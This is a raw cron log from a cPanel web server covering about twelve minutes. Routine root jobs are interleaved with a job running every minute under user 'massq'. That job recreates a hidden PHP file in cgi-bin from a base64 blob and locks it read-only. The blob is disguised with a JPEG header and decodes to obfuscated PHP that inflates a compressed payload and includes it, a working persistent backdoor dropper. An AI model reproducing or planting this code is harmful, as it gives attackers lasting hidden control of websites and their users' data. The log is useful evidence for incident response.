Aug 31 10:38:01 server CROND[25012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:39:01 server CROND[25383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:39:01 server CROND[25385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:39:01 server CROND[25386]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 10:39:01 server CROND[25384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:40:01 server CROND[25783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:40:01 server CROND[25785]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:40:01 server CROND[25786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:40:01 server CROND[25787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:40:01 server CROND[25790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:40:01 server CROND[25788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:40:01 server CROND[25789]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:40:01 server CROND[25791]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:41:01 server CROND[26718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:41:01 server CROND[26719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:41:01 server CROND[26720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:42:01 server CROND[27092]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:42:01 server CROND[27093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:42:01 server CROND[27094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:42:01 server CROND[27095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:43:01 server CROND[27483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:43:01 server CROND[27484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:43:01 server CROND[27485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:44:01 server CROND[27855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:44:01 server CROND[27856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:44:01 server CROND[27857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:45:01 server CROND[28255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:45:01 server CROND[28257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:45:01 server CROND[28260]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:45:01 server CROND[28258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:45:01 server CROND[28259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:45:01 server CROND[28261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:45:01 server CROND[28262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:46:01 server CROND[29182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:46:01 server CROND[29183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:46:01 server CROND[29184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:47:01 server CROND[29555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:47:01 server CROND[29556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:47:01 server CROND[29557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:48:01 server CROND[29936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:48:01 server CROND[29937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:48:01 server CROND[29935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:49:01 server CROND[30322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:49:01 server CROND[30324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:49:01 server CROND[30323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:50:01 server CROND[30718]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:50:01 server CROND[30717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:50:01 server CROND[30721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:50:01 server CROND[30724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:50:01 server CROND[30723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:50:01 server CROND[30722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
